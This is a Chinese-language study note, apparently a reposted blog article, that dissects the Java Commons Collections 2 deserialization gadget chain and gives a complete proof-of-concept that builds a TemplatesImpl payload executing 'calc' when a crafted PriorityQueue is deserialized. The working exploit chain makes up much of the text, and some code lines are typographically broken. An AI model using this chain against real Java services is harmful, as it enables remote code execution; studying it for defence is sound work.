JAVA反序列化学习笔记4.Commons Collections2分析

渗透技巧 2年前 (2021) admin
522 0 0

Log4j2 研究之lookup

看你们也就看个乐子,真分析还得看我宽字节师傅们的。

0x01.前言

同CC1相比,CC2可以触发代码执行,更灵活一些,在版本方面,JDK1.7 和 1.8都可使用, commons-collections需要4.0版本

maven配置为

<dependency> 
 <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId>  
  <version>4.0</version>
</dependency>

还是先来分析一个简单的代码执行后再深入分析

0x02.TemplatesImpl类

该类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

先来一段代码

Class classz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Object o = classz.newInstance(); Method method = classz.getMethod("newTransformer"); method.setAccessible(true);

Field field = classz.getDeclaredField("_bytecodes"); 
byte[] files = Files.readAllBytes(Paths.get("E:\javapro\serandfor\src\main\java\com\seri\payload.class"));
byte[][] b = {payload.toBytecode()}; 
field.setAccessible(true); 
field.set(o,b);

Field field2 = classz.getDeclaredField("_name"); 
field2.setAccessible(true); 
field2.set(o,"test");

Field field3 = classz.getDeclaredField("_tfactory"); 
field3.setAccessible(true); 
field3.set(o,new TransformerFactoryImpl());

method.invoke(o);

一个基础思路是,通过defineClass去加载一个自定义的class文件的内容,之后实例化,触发代码 执行。在defineTransletClasses函数中调用 内部类TransletClassLoader中的defineClass类

JAVA反序列化学习笔记4.Commons Collections2分析

可以看到继承了ClassLoader类,并调用了ClassLoader中的defineClass函数进行类加载操作。

JAVA反序列化学习笔记4.Commons Collections2分析

但是defineTransletClasses函数是私有的,无法进行直接调用,所以需要找到一个public口

在本类的getTransletInstance方法中调用了defineTransletClasses,并且将返回的Class对象进行 了实例化操作,就可以触发构造函数和静态代码块中的代码了。

JAVA反序列化学习笔记4.Commons Collections2分析

但是该函数还是private,在往上找,在本类的newTransformer方法中调用了 getTransletInstance,并且为public

JAVA反序列化学习笔记4.Commons Collections2分析

所以调用流程为TemplatesImpl->newTransformer->getTransletInstance>defineTransletClasses

接下来分析一下为了让代码顺利执行,需要一些属性的赋值,该类的属性大多为private,需使用反射赋值。

先看newTransformer函数,并没有什么需要赋值的就可以执行到getTransletInstance函数了。

getTransletInstance函数中需要让_name 属性不为null即可调用defineTransletClasses函数,其 中_class是一个Class类型数组。

接下来仔细分析一下defineTransletClasses函数。(JDK1.8下)

private void defineTransletClasses() 
  throws TransformerConfigurationException 

  if (_bytecodes == null) {//_bytecodes属性不能为null 为byte型二维数组 byte[] []_bytecodes 
    ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); 
    throw new TransformerConfigurationException(err.toString());

 }

 TransletClassLoader loader = (TransletClassLoader) 
    AccessController.doPrivileged(new PrivilegedAction() { 
      public Object run() 
        //需要对_tfactory属性赋值
        //private transient TransformerFactoryImpl _tfactory = null; 
        //transient代表不对其进行序列化,赋值为TransformerFactoryImpl对象即可 
        return new   
        TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); 
      }

 });

 try {
  final int classCount = _bytecodes.length; 
    _class = new Class[classCount];

    if (classCount > 1) { 
      _auxClasses = new HashMap<>(); 
    }

 for (int i = 0; i < classCount; i++) {
  //循环_bytecodes数组,将每一个byte数组通过defineClass类加载成Class对象 
    _class[i] = loader.defineClass(_bytecodes[i]); 
    final Class superClass = _class[i].getSuperclass(); //获取转换的类的父类信息

  //为了保证后续的实例化,_transletIndex不能小于0,就必须进入下方的if判断 
    //父类的名字必须为ABSTRACT_TRANSLET,值为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 
    if (superClass.getName().equals(ABSTRACT_TRANSLET)) { 
      _transletIndex = i; 
    } 
    else { 
      _auxClasses.put(_class[i].getName(), _class[i]); 
    } 
  }

  if (_transletIndex < 0) { //_transletIndex不能小于0,否则会抛出异常,程序终止, 无法执行到getTransletInstance函数的newInstance语句 
     ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); 
     throw new TransformerConfigurationException(err.toString());
   } 
  } 
  catch (ClassFormatError e) { 
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); 
    throw new TransformerConfigurationException(err.toString()); 
  } 
  catch (LinkageError e) { 
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); 
    throw new TransformerConfigurationException(err.toString()); 
  }

}

注意一下JDK1.7中其实无需赋值_tfactory属性,因为并没有去调用。

JAVA反序列化学习笔记4.Commons Collections2分析

所以我们需要赋值的三个属性为_bytecodes  _name  _tfactory

其中_bytecodes 为我们要构造的类的class文件的byte数组,这个类我们可以随意构造,类实例化 操作后会执行静态代码块和构造函数,我们在其中构造危险代码即可。(注意因为上方代码问题需要使这个类继承AbstractTranslet

最开始读取的class文件代码为

JAVA反序列化学习笔记4.Commons Collections2分析

但是这段语句是直接从本地文件读取,在利用上可能较为不方便,所以修改为javassist来动态生成 class类

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool=ClassPool.getDefault();//返回默认的类池 
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径 CtClass 
payload=classPool.makeClass("payload2");//创建一个新的public类 
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置父类为 AbstractTranslet 
payload.makeClassInitializer().setBody("Runtime.getRuntime().exec("calc");"); // 设置静态代码块

Class classz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Object o = classz.newInstance(); 
Method method = classz.getMethod("newTransformer"); 
method.setAccessible(true);

Field field = classz.getDeclaredField("_bytecodes"); 
byte[][] b = {payload.toBytecode()}; 
field.setAccessible(true); field.set(o,b);

Field field2 = classz.getDeclaredField("_name"); f
 ield2.setAccessible(true); 
field2.set(o,"test");

Field field3 = classz.getDeclaredField("_tfactory"); 
field3.setAccessible(true); 
field3.set(o,new TransformerFactoryImpl());

method.invoke(o);


JAVA反序列化学习笔记4.Commons Collections2分析



到此底层的逻辑构造完成。

0x03.TransformingComparator

这里需要想的是怎么能调用newTransformer函数,这里可以用到CC1中的InvokerTransformer的 transform方法去调用。

JAVA反序列化学习笔记4.Commons Collections2分析

只要确保input的值为TemplatesImpl对象,就可以通过反射调用其newTransformer函数。

这时候来看TransformingComparator类,通过构造函数可以指定transformer为 InvokerTransformer,之后在compare函数中调用其transform方法。

JAVA反序列化学习笔记4.Commons Collections2分析


对应POC代码为

InvokerTransformer invokerTransformer = new 
InvokerTransformer("newTransformer",null,null); 
TransformingComparator trans = new TransformingComparator(invokerTransformer);

之后寻找调用compare方法的位置。

0x04.PriorityQueue

既要调用TransformingComparator类的compare方法,又要确保obj1的值为TemplatesImpl对象。

来看PriorityQueue类,是一个处理队列相关的类。

首先siftDownUsingComparator方法会调用comparator对象的compare方法

JAVA反序列化学习笔记4.Commons Collections2分析

siftDown方法中又会调用siftDownUsingComparator方法,

JAVA反序列化学习笔记4.Commons Collections2分析

heapify方法中又会调用siftDown方法,

JAVA反序列化学习笔记4.Commons Collections2分析

readObject方法中调用了heapify

JAVA反序列化学习笔记4.Commons Collections2分析


正向来看就是

PriorityQueue->readObject->heapify->siftDown->siftDownUsingComparator>comparator.compare

POC代码为

InvokerTransformer invokerTransformer = new 
InvokerTransformer("newTransformer",null,null); 
TransformingComparator trans = new TransformingComparator(invokerTransformer);

PriorityQueue queue = new PriorityQueue(2); 
queue.add(1); 
queue.add(1);

Field field4=queue.getClass().getDeclaredField("comparator"); 
field4.setAccessible(true); 
field4.set(queue,trans);

Field field5=queue.getClass().getDeclaredField("queue"); 
field5.setAccessible(true); 
field5.set(queue,new Object[]{templatesImpl,templatesImpl});

PriorityQueue的comparator类型为Comparator接口,而TransformingComparator同样实现了 该接口

JAVA反序列化学习笔记4.Commons Collections2分析

所以通过反射将其值改为构造好的TransformingComparator对象,这样就会调用comparator方 法,之后再调用InvokerTransformer的transform方法。

这时候我们需要满足的就是这个c对象的值为TemplatesImpl对象即可。

JAVA反序列化学习笔记4.Commons Collections2分析

c的值通过queue数组获取,而queue为Object类型数组JAVA反序列化学习笔记4.Commons Collections2分析

这样通过反射为其赋值为templatesImpl对象数组即可。这样就能保证c的值为templatesImpl对象。

完整POC为

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool=ClassPool.getDefault();//返回默认的类池 
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径 CtClass 
payload=classPool.makeClass("payload2");//创建一个新的public类 
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置父类为 AbstractTranslet 
payload.makeClassInitializer().setBody("Runtime.getRuntime().exec("calc");"); // 设置静态代码块

Class classz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Object templatesImpl = classz.newInstance(); 
Method method = classz.getMethod("newTransformer"); 
method.setAccessible(true);

Field field = classz.getDeclaredField("_bytecodes"); 
byte[][] b = {payload.toBytecode()}; 
field.setAccessible(true); 
field.set(templatesImpl,b);

Field field2 = classz.getDeclaredField("_name"); 
field2.setAccessible(true); 
field2.set(templatesImpl,"test");

Field field3 = classz.getDeclaredField("_tfactory"); //这里赋值没有意义 field3.setAccessible(true); 
field3.set(templatesImpl,new TransformerFactoryImpl());

InvokerTransformer invokerTransformer = new
InvokerTransformer("newTransformer",null,null); 
TransformingComparator trans = new TransformingComparator(invokerTransformer);

PriorityQueue queue = new PriorityQueue(2); 
queue.add(1); 
queue.add(1);

Field field4=queue.getClass().getDeclaredField("comparator"); 
field4.setAccessible(true); 
field4.set(queue,trans);

Field field5=queue.getClass().getDeclaredField("queue"); 
field5.setAccessible(true); 
field5.set(queue,new Object[]{templatesImpl,templatesImpl});

//序列化 
FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt"); 
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(queue); 
objectOutputStream.close();

//反序列化 
FileInputStream fileInputStream = new FileInputStream("serialize3.txt"); 
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); 
Object result = objectInputStream.readObject(); 
objectInputStream.close();

执行链为:

->PriorityQueue类
 ->readObject
 ->heapify
 ->siftDown
 ->siftDownUsingComparator
  ->TransformingComparator类
  ->compare
   ->InvokerTransformer类
   ->transform
    ->TemplatesImpl类
    ->newTransformer
    ->getTransletInstance ---->调用完defineTransletClasses后调用newInstance实例化对象,触发静态代码块中的危险代码
    ->defineTransletClasses

0x05.总结

这里还有个问题,TemplatesImpl_tfactory的类型为transient,数据不进行序列化操作,所以我们通过反射给其赋值也没有意义,那如何经过代码呢, 其实在readObject方法中有手动赋值的操作。

JAVA反序列化学习笔记4.Commons Collections2分析 

再来看PriorityQueue类的queue属性也为transient,默认不进行序列化,但是在readObject方法 中进行取值了。

JAVA反序列化学习笔记4.Commons Collections2分析

那这个值是怎么来的呢?是因为在writeObject方法中进行了手动序列化

JAVA反序列化学习笔记4.Commons Collections2分析

参考文章:

http://wjlshare.com/archives/1509

https://www.cnblogs.com/nice0e3/p/13860621.html


原文始发于微信公众号(黑客在思考):JAVA反序列化学习笔记4.Commons Collections2分析

版权声明:admin 发表于 2021年12月10日 上午7:16。
转载请注明:JAVA反序列化学习笔记4.Commons Collections2分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...